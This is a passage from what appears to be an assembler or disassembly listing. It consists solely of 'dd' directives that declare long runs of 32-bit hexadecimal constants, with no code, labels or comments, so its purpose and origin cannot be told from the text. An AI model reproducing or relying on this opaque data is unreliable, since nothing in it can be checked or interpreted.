		dd 362B0198h, 8873AFB4h, 2EBF42Fh, 0D0134800h, 0CEFF5503h
		dd 762B0051h, 0F7CA8BC5h, 47005442h, 4B65F492h,	50DF26C2h
		dd 35F8870h, 0D4E49C08h, 0CFA6187h, 0DEE2E8E0h,	9467F000h
		dd 10F89E82h, 0AB12010Dh, 31D70411h, 4BEF43D1h,	7B0011D6h
		dd 30663CCFh, 226502Eh,	4EBA1B55h, 0ACC006E6h, 1109AC03h
		dd 918FABD2h, 1C8C158h,	44414CCDh, 0E10D8105h, 0E0E80005h
		dd 0BD9AEDD9h, 0FC0C0304h, 0B4E0C031h, 3A0744B8h, 0A6FBCC1Dh
		dd 60078E6h, 7ABA51C1h,	0E8EE4C7Ch, 0AB188807h,	0E0ED74D1h
		dd 96005CBCh, 12DF3861h, 0E09D013Dh, 0E1E0926h,	0F1802357h
		dd 94B7F24Ch, 2F2B3F03h, 7686Eh, 0D5ADD6A0h, 9DA76A27h
		dd 5991DE00h, 337D54C2h, 5C2C001Ah, 0A5AF6EC7h,	0A60BB4E6h
		dd 8B98B06Ch, 3DDD00BBh, 510A875Dh, 0C0E4B90Bh,	30DC4CA5h
		dd 0F6B1AF00h, 6E1E1176h, 0B272DF00h, 1C0A6CB8h, 0B0E1009Ch
		dd 19D2F3D5h, 8C0904B4h, 8710FAADh, 80A669Ch, 6745C301h
		dd 71D41D27h, 0D7120477h, 0C8A70618h, 4700A530h, 0B0194838h
		dd 123A3722h, 0C0ED53FFh, 0C88DDE24h, 0B69D8500h, 68B9F7E5h
		dd 95E30760h, 0E06CAB8Eh, 0EDDF9CF5h, 2FF3C40Eh, 9F1CC18Ch
		dd 0D7F44C04h, 0EC7A0024h, 6DAA6652h, 0F207449Ch, 0B85540C4h
		dd 371B07F0h, 70B70B49h, 40150D0h, 0CD3E81EDh, 8FFFCB5h
		dd 0E64C8E1Dh, 0C21309C0h, 0D08203h, 16E25A2Ah,	0F045A597h
		dd 1D7438E5h, 654032ADh, 0E272631Eh, 35E61785h,	30E442C9h
		dd 0FD604275h, 0C8007B26h, 25C1B51Dh, 771A11h, 0D7BB1CC5h
		dd 69F3BF2Fh, 17424600h, 196323BCh, 3029060h, 30B9A651h
		dd 0DFD8EE5Ch, 92091BC3h, 4007425Ah, 49B0FAD4h,	790048E0h
		dd 15C85065h, 0C6034FA8h, 76EE6695h, 5F2100E1h,	75B7075Eh
		dd 0EA0E4FA6h, 83E3A8DDh, 750586F9h, 168C151h, 0F57D0A07h
		dd 254FD0BEh, 0E42C0400h, 0B0ADF0C3h, 0DDC000BCh, 16A63D5Dh
		dd 890C742Eh, 0B0D797FBh, 864BA0h, 226CDB48h, 880CC331h
		dd 5807551Fh, 0E60E19F5h, 93F0991Ch, 0DF0C2088h, 0A2270F4h
		dd 9DB2D1FAh, 0B1F20424h, 0B66D066Ah, 0DEEC40C1h, 42FAEA06h
		dd 217F2Eh, 8A869AF2h, 810E3F77h, 5CBA2A09h, 27805770h
		dd 0FC4B6B3h, 0E0076A0Eh, 2F5A8083h, 6C0BCAh, 0AD7047DCh
		dd 0F6F19203h, 7F2B5500h, 14736741h, 727FA07h, 0E48CEF82h
		dd 0A8E060B9h, 78982601h, 0C514FE00h, 20075938h, 560F6004h
		dd 9D8185D4h, 4D427004h, 0C907339h, 2E23CDE5h, 809CC40Dh
		dd 27164F40h, 92074B5Fh, 0D68E3AF3h, 68BF80BEh,	7BC02AAAh
		dd 0D0BE0036h, 748DFE59h, 0C300CE11h, 43D67CAh,	5948CBE4h
		dd 2D7C2C90h, 78878968h, 111EE0E5h, 6B00366Ch, 0DCDA7479h
		dd 0E2A4C1h, 0CF2F6881h, 80E57065h, 0A7291F64h,	11A69B21h
		dd 313D0BBh, 73D34484h,	44A96444h, 6744CE37h, 5E2F442Dh
		dd 44AFEC44h, 5C42D863h, 5B0410B6h, 76C2FA40h, 0EC7C306Eh
		dd 0B8B73Dh, 18F875CEh,	0EDAF4Dh, 0B254C404h, 1C490EAEh
		dd 0FC2ACC07h, 6A8023ECh, 1E306CE3h, 408EDA37h,	0D9F14353h
		dd 6E0011BBh, 9BCBA5CDh, 1F02FFFBh, 0BA9410h, 8E55B8D0h
		dd 1200C66Dh, 26BE8D48h, 0E813A840h, 4180F32Ch,	4F3B1D9Dh
		dd 0CF003FBCh, 3C44A0B2h, 0C5AA89h, 527B864h, 2D5FEF76h
		dd 8094CC38h, 0DF84254Ch, 60D5Ch, 2368A686h, 431E6B38h
		dd 1169AC00h, 808AA1B2h, 54590050h, 10A40F84h, 1602869Ch
		dd 0C8B22A3Ch, 9C05749h, 0A1C3663h, 1F001DBDh, 53D33F54h
		dd 8B5103C2h, 0A602111Ah, 10DD14D8h, 49EACC0Fh,	0A1C912h
		dd 372FA5F0h, 9AE400F9h, 0B2032BC8h, 9FF09E7Ah,	0A8049400h
		dd 8EA6D461h, 856F0040h, 1BAB0287h, 66FA9D33h, 83FC7F3Fh
		dd 8AC0486Eh, 0D0C8F1F8h, 5F928C40h, 0A77825h, 93C47AD8h
		dd 994630B2h, 52E98D03h, 0B0DDE35Eh, 5B15B1h, 58F18A4Fh
		dd 4649FCCEh, 818C1300h, 0A2D71680h, 174B03CAh,	876E6DAh
		dd 0D6E743B8h, 1C964600h, 0E3698134h, 0C52101A2h, 259E2CE1h
		dd 0EDAC2477h, 6FB44800h, 22F213D4h, 50E93ADBh,	8B03713Bh
		dd 73CFABF9h, 3C8232B8h, 2EFEE50Eh, 7E4283F5h, 9721C704h
		dd 0FEC5CAAh, 0F4C509B5h, 2C807269h, 0F5E5F358h, 54DBCF00h
		dd 4EC8F83Bh, 7D3C0F59h, 0F2E0D372h, 6F0D8CC7h,	25905F73h
		dd 3E06EF38h, 2F2A0777h, 0A38104F7h, 0E5E093AAh, 79B089h
		dd 604E2DF9h, 0F87FB1F0h, 0B8BB7C1Fh, 2EF45800h, 45B903h
		dd 996E4382h, 253604E3h, 84A067E0h, 441FB675h, 61428A70h
		dd 405309ADh, 68239Eh, 0CDCE5940h, 0F3458266h, 98EC3E09h
		dd 0FFB000D3h, 761CFC38h, 7AB019h, 7ADB8109h, 15D1C4D0h
		dd 3072D200h, 5B6E42A2h, 0ACE84CDAh, 0DDF9D500h, 0CAE2938Ah
		dd 0A1C7691Fh, 3A00AC68h, 2C49D1F2h, 4D38DCh, 1F371199h
		dd 6E5A5D4Eh, 3E84F33Eh, 0F6D88E0Ah, 3B42A05Fh,	18BC152Eh
		dd 80728199h, 8D7E7E4Fh, 0B10025FEh, 33756601h,	24AB44h
		dd 453F991Ah, 0AFD9FE35h, 0D860A300h, 8C4C61EBh, 4FA19h
		dd 999A92C1h, 824209F1h, 0C9280600h, 0D3DBC2D5h, 329D1F3Bh
		dd 2ADC801Dh, 71F7AD05h, 6E8BE907h, 4250118Eh, 39ED6B5Ah
		dd 0A802FCDEh, 89EB4FD3h, 16C70C40h, 7F18E9E4h,	58306563h
		dd 0AFCA006Bh, 4D9A3381h, 0A4BAC118h, 103F0224h, 3FFD01Eh
		dd 4EC66AE7h, 9F728093h, 751B046Fh, 0C0F881D3h,	0ED4C894Ah
		dd 39B81900h, 0F2994A70h, 0E4C401A0h, 5B617EF5h, 0CB302037h
		dd 6665AA00h, 0A8625209h, 1C9A00ADh, 0B8EFDBDCh, 0EA0078B5h
		dd 0E3A30210h, 0DA3BC0h, 0ACFC153Dh, 4D113BEh, 8A364600h
		dd 0D565ABA3h, 0F801002Bh, 6D62AD03h, 1BF6F066h, 34A02D00h
		dd 0A9EF2191h, 701800AFh
		dd 89AD1D23h, 0EA775DA6h, 0B20EBD00h, 80083A57h, 0FD32984Fh
		dd 14C6670h, 2F7B51AEh,	0D8ACF32Ah, 3B00057Ah, 1BF961EFh
		dd 1F452E5Bh, 82F19A2Ch, 0B752F40h, 0AB014C60h,	0C605BE0Ch
		dd 0B1FEC066h, 85F10000h, 0ACCCF5B6h, 0D7AA6B1Dh, 40D2FC0h
		dd 0BCD422h, 91E0162Bh,	0DDCF29C5h, 3B093679h, 80DEE91Bh
		dd 0EF0E064Ch, 35BD00A6h, 0ECFBC6C2h, 0E90188Dh, 58A58726h
		dd 16F6AD87h, 238AFAD0h, 39D9003Ah, 0A3E0FB30h,	0D31F730Ch
		dd 7EEE1BC8h, 0C05BE325h, 281C164Bh, 0E88F52h, 740B3403h
		dd 14B7DE35h, 1856AD03h, 90B90999h, 374008h, 5BE339FCh
		dd 492E95Dh, 74426B00h,	0ABD6DAE2h, 19400B7h, 0D7862CA3h
		dd 7200C00Ch, 0AE0757E8h, 0C82021h, 0A32622C3h,	33D51550h
		dd 9F04AD0Fh, 0CBF28055h, 94D421C1h, 6399000Ch,	0C4964D2h
		dd 55A88B07h, 9150E576h, 72D0E8B9h, 71E4160Fh, 0D79000D3h
		dd 0DEDF2EC5h, 25090D00h, 0CA5810D8h, 6C063F15h, 2E52B07Ch
		dd 173ABD08h, 9CFB1056h, 34BEC280h, 7603EDC0h, 0BB7D6DC9h
		dd 0EAE8C079h, 2C4C0371h, 3686949Ch, 30A08B98h,	0F5DCF801h
		dd 204C4A6h, 0FBD824h, 6BEFE88Ah, 327D5367h, 77861201h
		dd 0D698297Ch, 4865D7C0h, 387C70DDh, 48276B9Dh,	0C22ADC01h
		dd 200644Fh, 0FF0698E6h, 0C0C6A305h, 6012039h, 78F8CC09h
		dd 38A8007Ch, 39FBD203h, 4D80804Ch, 162818Eh, 9600915Bh
		dd 87F52F9Fh, 3DA68CABh, 55BBC4BAh, 9816E880h, 8628CA97h
		dd 2CC9C600h, 8F8C9C71h, 49F90081h, 0D5C1CF4Dh,	52F80105h
		dd 8324EA3Ah, 86223004h, 838AC03Bh, 351A00E8h, 0FDDEEBA4h
		dd 2059E62h, 95D2AFF8h,	9F00FC0h, 0CEEA005Ch, 8881900Bh
		dd 49584D71h, 9AE900E6h, 0DF23B084h, 51AA03A0h,	0B9D50C43h
		dd 67C89FB3h, 4B006AEDh, 0DA72FBFFh, 98A6191h, 0ACFE8E47h
		dd 0A0E9C287h, 350842F8h, 883A8C00h, 0F569EB2Ah, 6B3F00B1h
		dd 0E023D8C3h, 3C000A18h, 0F4C25C1Dh, 908917E1h, 6FB00076h
		dd 84D6C99Fh, 0A2005B39h, 0B1CF0B74h, 0C77C728h, 9BA18FCDh
		dd 0FF2E8240h, 95033D54h, 9649E478h, 3B6E1F7Ah,	0F1D580C7h
		dd 0D829CCA3h, 3CFA803Ch, 0BB0B806Ch, 42B0F302h, 78351E7Ch
		dd 0FABE0008h, 0A0611879h, 0DC8E1503h, 0A033F80Dh, 20D839h
		dd 0F1A7BEE3h, 2843BB12h, 2F785400h, 294B0387h,	79E176A9h
		dd 80C40CCBh, 0B2F26B23h, 90046B0h, 7175DAD0h, 7913CEA4h
		dd 0F42A78A1h, 933F4CF6h, 0DC159500h, 0FA36F93h, 50C7A700h
		dd 0F463116Ch, 1BEEA8h,	3F0E50Ah, 15BEA9D9h, 92DCB603h
		dd 0F86DC595h, 75CE29h,	721846F3h, 8D11AB7Fh, 7AB3C805h
		dd 8400FDFCh, 790295ACh, 605F3E6Bh, 9A6D9386h, 7100E2CEh
		dd 90A2BD76h, 0E0A5CCh,	4AA0ED7h, 5A51A02Ah, 0AE71C203h
		dd 0C8E91D7Dh, 2CD387EEh, 0CFC594h, 78B89A88h, 0AF000BEFh
		dd 7663D1F7h, 298792h, 43ABF1D6h, 39B46E04h, 5F27F800h
		dd 0CE57B84Fh, 0C11A00ECh, 0B971D7D1h, 6802AADCh, 0B81D5FD3h
		dd 809C895Bh, 475D48F8h, 94C001F7h, 7233E98Eh, 5652CC0Fh
		dd 2C3DF201h, 7764DB9Dh, 535A841h, 48E40161h, 9BE0032h
		dd 81EAB930h, 8E1EB479h, 9DDCFFCBh, 183E77C0h, 8DF82Ch
		dd 18BB7ACh, 0F38CE36Ah, 41B6E003h, 0F83E8097h,	30479864h
		dd 90D02BB8h, 2203B150h, 5EA973DEh, 2A698848h, 0F6390086h
		dd 67339EE5h, 8013028h,	0BF8EB36Fh, 0A9EC643Dh,	0B27E7Bh
		dd 0FF8D40E0h, 0D68FABEDh, 3D162C0Eh, 0D009B388h, 739400F3h
		dd 1E55E9C2h, 66B401h, 0AC58FB89h, 7D00CED3h, 6751470Bh
		dd 3DA3EFCh, 25E04C7Ah,	17E00AF1h, 14005C6Ch, 5A0281AEh
		dd 0FEB2FA1Eh, 0DCCE0077h, 0D5F9A455h, 62038AE3h, 0D9E486B7h
		dd 68800015h, 145DAD25h, 651F352Ah, 23801109h, 0CAFF1F4Fh
		dd 12952401h, 73A50094h, 3C402FBBh, 2A500500h, 69C811Ah
		dd 0B3313A11h, 0A18068BCh, 0BD5D28E4h, 5C0095E7h, 0AFF77A7Ch
		dd 17328185h, 14D23158h, 4976CC5Eh, 3400C8F5h, 57E9ED51h
		dd 7A09B1D0h, 0EE3B18h,	73A60779h, 6438039Dh, 0D232A062h
		dd 8BC04DB8h, 0ECB55700h, 557DF151h, 0E2A70095h, 5ADE3D52h
		dd 0FD2859B9h, 32009C7Ch, 0F034C630h, 0BBF541h,	0C209BC22h
		dd 0C8B3AE1Fh, 3518A600h, 0A87AF75h, 0F47C00EFh, 4E38FE06h
		dd 24007BDFh, 277EFD39h, 70CD1830h, 78F60307h, 0BA97A1EDh
		dd 8D388790h, 8ECC4024h, 0F00ACF00h, 26683981h,	48DB15h
		dd 0B29F277Bh, 18007D9Bh, 6560088Eh, 3D9692h, 73C30CFCh
		dd 15724833h, 712B2701h, 3A44E6A9h, 3FF2ADE0h, 0E4818892h
		dd 0CF2062A7h, 0F84C2107h, 7300101Eh, 185EF6A8h, 0EBE04113h
		dd 0C168ECh, 0B3AC4309h, 0E97CD236h, 6895D0Fh, 0D8B7607Bh
		dd 0E52DDDh, 85F6B933h,	0E08C459Ch, 610CF800h, 3270361Fh
		dd 7F7F065h, 9AFEDB21h,	0D0505068h, 373BAB0Dh, 91190030h
		dd 1A0A9241h, 2BB21D2Fh, 6F4D8080h, 0AA752046h,	2C77741Eh
		dd 4C780640h, 1F82595h,	6479FB35h, 43287F2Eh, 0BA823F9h
		dd 0EF02ABB4h, 0D3D25D3Bh, 53C88064h, 3ABF88h, 0D96CC52h
		dd 839467B9h, 8A2AD93Ch, 0E4AE1B87h, 291E5400h,	3248C53h
		dd 1DCF76BAh, 5EC86911h, 2A00C396h, 8707BDC9h, 543EF7h
		dd 8DD9CA98h, 0B45A23A7h, 0F1249090h, 0FE008474h, 3B8CD7E3h
		dd 82150016h, 0E9DCEBE6h, 171D053Eh, 0E3406498h, 0C0B2D6BFh
		dd 3A798E1h, 9BEECA36h,	0F380FFF5h, 7C09D348h, 1259ED0h
		dd 6113320Ah, 0FA54BEF0h, 14CF005Bh, 9AE2F3Fh, 0A003A7Ah
		dd 0E528C549h, 40716E7h, 0B8AC7988h, 2F1C9039h,	1301043Dh
		dd 105B2D8Dh, 5DC07E74h, 976F3B4Fh, 39C21989h, 5089CC07h
		dd 265FF276h, 32EA10C0h, 812351h, 0A14E588Dh, 629C342Ah
		dd 0F970E930h, 10144Ch,	68FB1F7Bh, 5D24401Eh, 0A62F711Ch
		dd 1C7DA7C1h, 96C02E65h, 0A8EF09CDh, 3880756Dh,	0A69A393h
		dd 0F5EAAF00h, 0EBA9F32Bh, 82B8004Bh, 0BC277FD4h, 4A7F81F1h
		dd 3463F03h, 0F0EEA63Ch, 1C051BFh, 9FBBD8DDh, 0E41399ABh
		dd 0ACE49A61h, 57E06E00h, 0C02EFEDh, 7D940CE1h,	0E911D3FEh
		dd 9797C00h, 7F4D5195h,	0FDE20086h, 7326AF58h, 34A03834h
		dd 0D2003BBDh, 0C45F6D66h, 1DFFAF8Fh, 1FEC768Bh, 1129EA6h
		dd 6BF4C083h, 57BDE443h, 0A29C1700h, 1B0365C1h,	442F0080h
		dd 5C5696D5h, 7D0085F3h, 6F83D706h, 971A7Bh, 0FEE864A8h
		dd 0F5E4B62Fh, 0E96B9A00h, 28D77C03h, 59FD00DAh, 0C5CF44B1h
		dd 0AA0F823Dh, 6014D53Fh, 47101D21h, 0C24D025Bh, 0A185F070h
		dd 55ABFE0h, 46272801h,	0AD1CCD37h, 403470h, 0B264BCD7h
		dd 0CC44C21h, 44E2940Fh, 0C34B2E19h, 0F81D27B1h, 9A46D2h
		dd 0BF6482CFh, 556F98B5h, 8C0A4F00h, 0DBC4B407h, 606A01C2h
		dd 0FA2C5727h, 2271A7h,	43E74190h, 9FA65200h, 83F4D907h
		dd 803A077Bh, 5F7E4BF6h, 0FA2B81E0h, 3700F095h,	0FC3521E7h
		dd 0CF29AFh, 54AD06ABh,	52F3AE18h, 0EA974600h, 0C558C4Dh
		dd 0C83E0208h, 1BCBF1F9h, 0EDA828C3h, 68014D36h, 5FA4B027h
		dd 90FB4A77h, 9F7B827Ch, 6011958h, 0E620FF2Eh, 4D9EC53h
		dd 39ED20h, 8EE03663h, 5198836Bh, 0FCF1A203h, 0C8B83F2Eh
		dd 50A721E9h, 3FEDEC71h, 5480A07Eh, 7D4CC0Eh, 0E7000248h
		dd 0BB991B37h, 3BB8C6h,	901772C2h, 0FDDEC4D8h, 11711F31h
		dd 0ECE8E65Dh, 0ACED00F5h
		dd 0E4C01D4Dh, 7100A3A5h, 0DD46F866h, 0D6A4972Bh, 4D230370h
		dd 0A3C01AE7h, 5C37FC49h, 0EE7288F8h, 15148041h, 3ACF4DB0h
		dd 9331A02Eh, 8AE7EDDAh, 14919A59h, 983AA811h, 0BE4F5B0Fh
		dd 3830E106h, 74A057F6h, 94009FB7h, 0E73827F1h,	16ADC7h
		dd 83ABD7E6h, 0F65D1730h, 77B22900h, 0A21E4B79h, 7E6718CBh
		dd 9DEB39E6h, 60FC1D14h, 80783F58h, 7302197h, 0E888101Ah
		dd 3922281Fh, 0E9460154h, 0BDE46E5Bh, 6551DCBAh, 0A11ED03h
		dd 0E03A9D94h, 1FBCC9Bh, 55D01D78h, 6F66F4FAh, 7312E0h
		dd 9ADE3B43h, 1F0AAB80h, 0D00607Ch, 0F2D3C5B4h,	2B812C9h
		dd 8A3172F3h, 0C980C3F9h, 0D3F8CACh, 445BAF00h,	1E3AABF8h
		dd 5F9054h, 0E74F8458h,	25231629h, 0C35CB300h, 0FA610E4Ah
		dd 316E195Ah, 20C21E4Dh, 750985C5h, 0D74A59D5h,	38951500h
		dd 0CDF42051h, 8B72FB0Fh, 0B39240BEh, 7208AC3Bh, 4B32002Fh
		dd 0BAD25F05h, 0E101FEDFh, 0CF2D4B9h, 9C50ECFBh, 2BBB91h
		dd 16C63D66h, 1FA86C5Bh, 0B7EE8100h, 82F11DB2h,	70D803C9h
		dd 6C6D9E43h, 752A3800h, 573C45D0h, 167C21h, 0F017BD82h
		dd 0DC3A785Fh, 69024C1Ch, 0A399E987h, 73C5A225h, 2E741407h
		dd 0A0042179h, 0D050E0D5h, 1B0E7E4h, 24DB17E1h,	0C4CA2F0Ch
		dd 9400AC8Bh, 0D0DFEE82h, 76D5F16Fh, 96000EDh, 0EF0499C9h
		dd 0C475221Eh, 8979F904h, 4894B046h, 40CF2AC2h,	4B540Ch
		dd 82E0B306h, 301AEB9Dh, 8633AD3Fh, 95B58E09h, 0D4840091h
		dd 0AB869CE5h, 3C2469A0h, 0F9008CC9h, 0AA13C4FFh, 3DE98EEh
		dd 310F7787h, 0C8C8F156h, 0E47F6F20h, 0E5A92700h, 26A3097Ah
		dd 51DC00B8h, 22EFBAC9h, 0FA00E03Bh, 0B3E65577h, 0F6BD418h
		dd 0BB3CC6EAh, 7CD15107h, 0F100C908h, 6B74E83Dh, 368A4E0h
		dd 0AF3971F8h, 5E048A3h, 0D2002F5Ch, 0D67703FBh, 0F2727B44h
		dd 0A8BA06C8h, 48EE2092h, 4FA7DC07h, 59CC4E3Eh,	250E003Dh
		dd 3507A647h, 5800FA93h, 5AA4F2FDh, 0C1D4EC0Fh,	987D7F29h
		dd 0D8F0F3F1h, 0CA00C394h, 4AB844A8h, 2FA5D15h,	0C76692CDh
		dd 0CC40FD59h, 0D030875Ch, 889741E9h, 8D40021h,	1D761514h
		dd 6200E090h, 0CCBDCEBBh, 60C5E683h, 89A299C6h,	0F81531A1h
		dd 0B98EFB1h, 670E78h, 467B2BBCh, 483D260Bh, 6C0039A6h
		dd 0CD6A74A9h, 0BE3DDE51h, 4A1687DCh, 8B60FDC6h, 0F3F99BBDh
		dd 98AE8C43h, 600CDE8Eh, 93B35819h, 0A51E318Bh,	69DD866Ah
		dd 5CEB6301h, 9448ECC8h, 103831D1h, 8093A931h, 0E329FD19h
		dd 7CE842Dh, 803032FFh,	9D535033h, 0A0C2BF9h, 393F10EAh
		dd 0EF6F0088h, 0DC7FF080h, 0BB0CE6AAh, 21EB1101h, 874B001Dh
		dd 0A3D1F2C2h, 16005ABFh, 0E4346E52h, 0D095E0h,	70E7A32h
		dd 2C5D9F4Bh, 8B863Ch, 62DAE613h, 0F47D8E77h, 0BBCE1C21h
		dd 0C406C06Eh, 0FCDD8D12h, 7C03B4F2h, 886227FDh, 0B90A91D8h
		dd 1D0C7DC0h, 17EC1D0h,	95EC19B1h, 0A55730CCh, 5AC0D100h
		dd 0C4C1D74Ah, 42B7031Ch, 9F400A0Fh, 0C50699C8h, 0FDE309DFh
		dd 0E4EB8EC0h, 0E87B8FDDh, 0F8E01924h, 0A4C00F26h, 67E08CBCh
		dd 7DEEFA04h, 31CFD50Fh, 853C40D2h, 302DDDE3h, 9B29A6B7h
		dd 7380FBB9h, 86D888C9h, 88A5F688h, 3C88B8CFh, 0EE33415Dh
		dd 889B6710h, 79C20383h, 0E32398Ah, 0EC111414h,	3C17289Eh
		dd 42C68822h, 7CC8110Ch, 31288B28h, 2829CC70h, 5B571088h
		dd 413F81BFh, 883E8328h, 8C87B479h, 0F3296FE1h,	24ADC9C7h
		dd 3F2F7DF0h, 0CCA003Dh, 0F596B1FAh, 0E8000B30h, 29435AF9h
		dd 28F7B818h, 0A4DD3Eh,	212ABAC3h, 8C0B9C80h, 3082054Ch
		dd 0F2EE0691h, 0A4D7000Dh, 0B4F12DC1h, 0CC00C7E4h, 0B357BD2Fh
		dd 0B85F2Eh, 9D8CE514h,	1F84CA7Fh, 6C9CDE0Eh, 0CDD4406Ah
		dd 0E125BA1h, 4FD715E2h, 0C702007Dh, 68B83BEDh,	0F0DA7800h
		dd 8730E629h, 0EBE081h,	2FBCB44h, 2BDCF37Eh, 46237D03h
		dd 0D0BCE539h, 1D6A1404h, 31FB1Dh, 197D4083h, 4202A86Dh
		dd 3E325C81h, 0D32440DEh, 38110055h, 0D468FEAh,	0C500A424h
		dd 0EDC6C321h, 0B8A89F63h, 0CB42039Ah, 7F1CBC99h, 8271A1A8h
		dd 1D377700h, 498A911Bh, 4C5548A6h, 90027200h, 43274AC6h
		dd 702A410Fh, 0D481C08Fh, 4BCB84h, 19C19CCh, 2608BED1h
		dd 4800C77Ah, 95A84C11h, 5A6210h, 54FAED46h, 0C20C48Ah
		dd 80F5CF3Fh, 8EC8E983h, 0FAA16ADAh, 783F3D75h,	0F3CB5E87h
		dd 0FEDC4056h, 0BE7FC7A7h, 0F1F058h, 2ACA0CABh,	39D526h
		dd 77B587A3h, 53A5B91Bh, 474B7B1Fh, 0E0F48ACEh,	0B620B4D2h
		dd 1A737Fh, 16507037h, 0CF77FD86h, 0AC1DD100h, 0EB568E13h
		dd 0DFFE36h, 47580A53h,	0F17220ECh, 4ED7C900h, 0DC33465Fh
		dd 94280307h, 0E47FFA70h, 9AE26998h, 0F7E1E81Fh, 59156043h
		dd 1BC0B8B7h, 0A8EC88h,	69683C9Ch, 0A1917FB0h, 34C8CD00h
		dd 81D927F7h, 6BF10048h, 1E301709h, 0F9058C39h,	0C6046583h
		dd 0A09FD80Fh, 3CAC1881h, 0B438001Dh, 6F6CF0D9h, 5DB01B2Ah
		dd 0F85D2700h, 24C9937Dh, 63C10791h, 0F01930C6h, 7E350C1Ah
		dd 0A13AFE0Fh, 0EA784050h, 7144FEFh, 56236B33h,	45380A0h
		dd 83003CDEh, 0A241B582h, 0C7D975h, 692B60C4h, 7D68EAAEh
		dd 0B500ED71h, 9E6F64F8h, 0E7C339h, 63F3431Eh, 8D96A2D3h
		dd 16135900h, 9F9022B2h, 0D5FB013Dh, 473AD0F1h,	45A4F889h
		dd 2B1E0103h, 0A3E0923Bh, 12C08FE3h, 50F846h, 7E96C8Eh
		dd 0F6AB6362h, 0E842CF2Ch, 4E83AC00h, 4B8CC3h, 0F80B5B0Fh
		dd 0EF561AFEh, 0E31EE09Fh, 2EA6015Ch, 38669724h, 44C7F06Fh
		dd 5972901Ch, 9106BB00h, 4CFA41h, 0C008FF73h, 0F9ED774Eh
		dd 0B5074B00h, 2506D523h, 340A00F2h, 9247B461h,	0CE3D4D4Eh
		dd 598B87EAh, 0DCB01889h, 1899F8F4h, 822A2743h,	0E8028F41h
		dd 69AE5D06h, 570880B2h, 0EA0F3A8h, 280C4BD4h, 0DA8E0072h
		dd 0D9E8D294h, 95C348h,	8D58DC2Ch, 0C456B4h, 4D42DF7h
		dd 0BAE9141Bh, 8054C7Dh, 0ADA6DBC6h, 0ACE6E400h, 0F5351Ah
		dd 174CF009h, 97B6B458h, 1C004E71h, 5B2F7A2Ah, 0F8D85DA7h
		dd 0B3C714D3h, 0EC1DEC7Bh, 0D2FB80E6h, 3022ACC4h, 20004C76h
		dd 63E748F2h, 71FE78h, 0A8EE943Ah, 9BDA887Ah, 0D9C95B00h
		dd 0D5248B53h, 67EB1F2Bh, 10C265Dh, 7B0EEF3Dh, 0D30DEC50h
		dd 1BB8291Fh, 2F6B007Dh, 0F44D1307h, 0C47F6FBh,	0CC901778h
		dd 0C7163072h, 7A0E03C1h, 97B74080h, 412B08h, 9FF28BF4h
		dd 50662E69h, 3A449203h, 0D03853CCh, 5021B86Dh,	8FCF55h
		dd 0AA8BE042h, 15B3FCEBh, 1310EC00h, 463215Fh, 18D43D67h
		dd 6D76AD80h, 16D67932h, 34131700h, 5D23AB6Bh, 0A63902E0h
		dd 2645080Ah, 2440882h,	0B5B64BC0h, 88BAB213h, 0E029C80Fh
		dd 0C4810663h, 579C0083h, 0E7A16EACh, 0AD1D60F9h, 0A303F2ABh
		dd 0B80DC29Dh, 1E1C56BBh, 0C45DFAEEh, 0C07C9990h, 3549D646h
		dd 3316E401h, 54C312D0h, 24E22F4h, 696CC5BFh, 1F40DE37h
		dd 9400C83Ah, 0E3091027h, 1D79407Ch, 80ADD21Bh,	0BD73BCDDh
		dd 0E8008B0Eh, 4FBBDFA0h, 3209B7h, 0C279F2CFh, 0BE9ADAFEh
		dd 6A86FC00h, 0E5CD2C25h, 741200A1h, 1DD08D5Eh,	0CBF272C2h
		dd 4B42CA00h, 46ECE570h, 0AF400001h, 0E083A958h, 0B400C22Eh
		dd 0FF501BBEh, 0F65F3Fh, 0E4CCB89Fh, 0BF3DECB9h, 802C2F3Ah
		dd 0F08A40EEh, 61CFF8h,	8C77908Dh, 62F5DA86h, 58475F1Dh
		dd 5E4F4C0h, 6803CBh
		dd 6D256E34h, 0E19A38ABh, 8026223Dh, 0A156A94Bh, 72F9151Eh
		dd 0C96E038Eh, 27200AAAh, 4DF43180h, 97640C07h,	9010A245h
		dd 605BB649h, 3BBF085h,	0AF007CE1h, 412289C8h, 10CE8Ch
		dd 0BC38AAA6h, 0A1DF2B40h, 77EF7C01h, 29E22013h, 0FAB41081h
		dd 20217DD0h, 0D90039A0h, 0FF5A1E0Fh, 8B8AAh, 0AD372266h
		dd 4CB7326Ch, 750016FEh, 18F5A982h, 0F47B1AE4h,	0FAD1000Eh
		dd 2F1B98C9h, 0CB0052B3h, 0EBC2D242h, 197BC4Fh,	19EC9F5Ah
		dd 60538C24h, 0DBEE4725h, 990D0E00h, 96AE1617h,	0F27A00ACh
		dd 123CECA0h, 0B01737BFh, 801C0F4Dh, 3B3E39h, 17C8E8B2h
		dd 0F07CB624h, 0A1B40094h, 0A8638AF2h, 18C1A68Bh, 0E64AECC0h
		dd 0DA24D0h, 17AB2F74h,	0D73FFE18h, 4057ED00h, 0B0E82533h
		dd 86DD035Ch, 54CA6EE7h, 5D852ED8h, 7E480860h, 3CDA8h
		dd 1F9B1AF4h, 4DFACBE0h, 3FF3DC07h, 0E3A012B8h,	92EC51h
		dd 702DCF42h, 5D64E236h, 90D0F203h, 0DF9ECCA7h,	377FF5D0h
		dd 7CA90F56h, 1C8FB5h, 441614ECh, 0B900FEDFh, 0DED6E6CFh
		dd 7A65661h, 3FFCB712h,	62D41046h, 0BA053EF5h, 1C451D75h
		dd 6C77B180h, 0F9F1013Ch, 43A31668h, 0CB76C00Bh, 9E42C900h
		dd 0C6F4A238h, 0F9AE007Bh, 0E1448ABh, 94B0554Ah, 7074111Fh
		dd 0CDE10A80h, 0B772F3h, 445B130h, 0A30594BEh, 0A6BCD801h
		dd 0A02C47AEh, 0E62BE540h, 1ACC281Eh, 0D4B238CFh, 0C6050370h
		dd 4A89464Dh, 80076BD0h, 8E843200h, 297BE8D8h, 9CEA019Dh
		dd 0D4111FA3h, 69084057h, 3A001E47h, 983907E0h,	4409B1h
		dd 0F6895E67h, 8BC120FEh, 7A016E00h, 586CA846h,	74B400D5h
		dd 29627CAAh, 0A3797D02h, 68F79D00h, 5F6314DDh,	0B2D8005Eh
		dd 0CDCBBF5h, 3A00A1D4h, 59B80D6Eh, 35DC1A7h, 8F10F024h
		dd 0BFC871E4h, 90009682h, 9DC9F22Dh, 9233F4h, 42AD0281h
		dd 437945F9h, 0DEFE4F0Eh, 0B6DE77Dh, 0A7EC9850h, 0A9A3007Ah
		dd 0C229928Dh, 5100EE40h, 5F9B20F5h, 1F7CAB38h,	83454864h
